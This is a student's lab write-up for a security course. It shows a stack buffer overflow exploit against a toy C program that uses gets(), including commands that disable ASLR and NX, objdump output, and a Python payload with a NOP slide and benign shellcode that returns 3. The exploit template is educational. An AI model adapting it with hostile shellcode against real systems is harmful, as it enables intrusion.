

Shellcoding

Code can be found here: <https://github.com/c2003-tamu/413>

Demo video can be found here: <https://youtu.be/GeGjavljuTk>

Environment Setup

- Ensure python3 is installed
- Clone git repository
- Navigate to 413/shellcode directory
- Run command: `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
- Follow instructions found here: <https://davidhamann.de/2020/09/09/disable-nx-on-linux/> to disable nx for 32 bit binaries
- Follow instructions to get correct return addresses in the payload for your machine

Vulnerable Code

For this assignment, I will be exploiting the same vulnerable code from the previous 2 assignments, seen below:

```
void vulnerable_function(){
    char input[32];
    printf("enter your input: ");
    gets(input);
    printf("you entered: %s\n", input);
}
```

I will be overwriting the buffer seen here by exploiting the vulnerable `gets()` function.

Exploit

Payload Assembly

I used the files found in 413/shellcode/helpfiles directory. First, I wrote the function I wanted to translate to assembly into the `shellcode.c` file, seen below:

```

int add_three() {
    int firstval = 1;
    int secondval = 1;
    int thirdval = 1;

    int result = firstval + secondval + thirdval;
    return result;
}

```

This is a natural extension of the example presented in class, where Dr. Botacin simply added 1 + 1. After I compiled this with the command `gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode`, I then used the command `objdump -d shellcode` to get the following results:

```

0000118d <add_three>:
   118d:    55                push    %ebp
   118e:    89 e5            mov     %esp,%ebp
   1190:    83 ec 10         sub     $0x10,%esp
   1193:    e8 78 00 00 00   call    1210 <__x86.get_pc_thunk.ax>
   1198:    05 40 2e 00 00   add     $0x2e40,%eax
   119d:    c7 45 fc 01 00 00 00 movl    $0x1,-0x4(%ebp)
   11a4:    c7 45 f8 01 00 00 00 movl    $0x1,-0x8(%ebp)
   11ab:    c7 45 f4 01 00 00 00 movl    $0x1,-0xc(%ebp)
   11b2:    8b 55 fc         mov     -0x4(%ebp),%edx
   11b5:    8b 45 f8         mov     -0x8(%ebp),%eax
   11b8:    01 c2           add     %eax,%edx
   11ba:    8b 45 f4         mov     -0xc(%ebp),%eax
   11bd:    01 d0           add     %edx,%eax
   11bf:    89 45 f0         mov     %eax,-0x10(%ebp)
   11c2:    8b 45 f0         mov     -0x10(%ebp),%eax
   11c5:    c9             leave
   11c6:    c3             ret

```

This wasn't entirely super helpful because there are a ton of null bytes, but I got the overall structure of my asm code down in that I need to use 3 registers to hold a value and then simply add them together. After this, I wrote the code seen in file `asm.c`, seen below:

```

int add_three() {
    int result;
    __asm__(
        "xor %%eax, %%eax;"
        "inc %%eax;"
        "xor %%ebx, %%ebx;"
        "inc %%ebx;"
        "xor %%ecx, %%ecx;"
        "inc %%ecx;"
        "addl %%ebx, %%eax;"
        "addl %%ecx, %%eax;"
        "movl %%eax, %0"
        : "=r" (result)
        :
        : "%eax", "%ebx", "%ecx"
    );

    return result;
}

```

This is essentially setting 3 registers to zero, adding one to each of them, and then adding those three registers together. Admittedly, this is probably not the simplest way to complete this problem, as I could have just incremented one register thrice, but that's boring. After I compiled this with the same command as above and ran `objdump -d` on it again, I got the following shellcode:

```

0000118d <add_three>:
118d: 55          push    %ebp
118e: 89 e5       mov     %esp,%ebp
1190: 53          push    %ebx
1191: 83 ec 10    sub     $0x10,%esp
1194: e8 68 00 00 00 call    1201 <__x86.get_pc_thunk.ax>
1199: 05 3f 2e 00 00 add     $0x2e3f,%eax
119e: 31 c0       xor     %eax,%eax
11a0: 40          inc     %eax
11a1: 31 db       xor     %ebx,%ebx
11a3: 43          inc     %ebx
11a4: 31 c9       xor     %ecx,%ecx
11a6: 41          inc     %ecx
11a7: 01 d8       add     %ebx,%eax
11a9: 01 c8       add     %ecx,%eax
11ab: 89 c2       mov     %eax,%edx
11ad: 89 55 f8    mov     %edx, -0x8(%ebp)
11b0: 8b 45 f8    mov     -0x8(%ebp),%eax
11b3: 8b 5d fc    mov     -0x4(%ebp),%ebx
11b6: c9          leave
11b7: c3          ret

```

This is much more helpful, as there are no null bytes in the pertinent hex code, so I wrote the bytes into a payload that I tested with the file `test.c`, to confirm with `gdb` that `eax` was getting the value that it was supposed to (3), seen below:

```

Breakpoint 3, 0x56556195 in main ()
(gdb) x/10x $eax
0x3:      Cannot access memory at address 0x3
(gdb) x/10x eax
No symbol table is loaded.  Use the "file" command.
(gdb) info registers
eax                0x3                3
ecx                0x1                1
edx                0xfffffce80        -12672
ebx                0x1                1
esp                0xfffffce50        0xfffffce50
ebp                0xfffffce58        0xfffffce58
esi                0xffffcf1c        -12516
edi                0xf7ffcb60        -134231200
eip                0x56556195        0x56556195 <main+24>
eflags             0x206              [ PF IF ]
cs                 0x23              35
ss                 0x2b              43
ds                 0x2b              43
es                 0x2b              43
fs                 0x0               0
gs                 0x63              99
(gdb)

```

Using this, I wrote a payload of 44 junk bytes, the return address needed to hit the nop slide, the return address back to main (found by stepping through gdb), 256 nops, and the shellcode I found through this process, seen below:

```

import sys

# payload = junk + overwritten return address of vulnerable_function + return address back to main + nop slide + shell code
junk = b"A" * 44
nop_return_addr = b"\xff\xce\xff\xff"
main_return_addr = b"\x75\x0c\xda\xf7"
nop_slide = b"\x90" * 256
shell_code = b"\x31\xc0\x40\x31\xdb\x43\x31\xc9\x41\x01\xd8\x01\xc8\xc3"

payload = junk + nop_return_addr + main_return_addr + nop_slide + shell_code

sys.stdout.buffer.write(payload)

```

To modify this payload to work on your machine, simply step through gdb and update the addresses to reflect the addresses found on your machine.

Running the Exploit

To run the exploit, run command: `cat payloads/shellinput | ./bad`

To see if successful, run command: `echo $?`

```
cade@cade-ThinkPad-T480s:~/Desktop/spring2025/csce413/413/shellcode$ cat payloads/shellinput | ./bad
enter your input: you entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuu
+-----+
cade@cade-ThinkPad-T480s:~/Desktop/spring2025/csce413/413/shellcode$ echo $?
3
cade@cade-ThinkPad-T480s:~/Desktop/spring2025/csce413/413/shellcode$
```

As seen above, if echo \$? Returns 3, that means that the shellcode was successfully run and returned.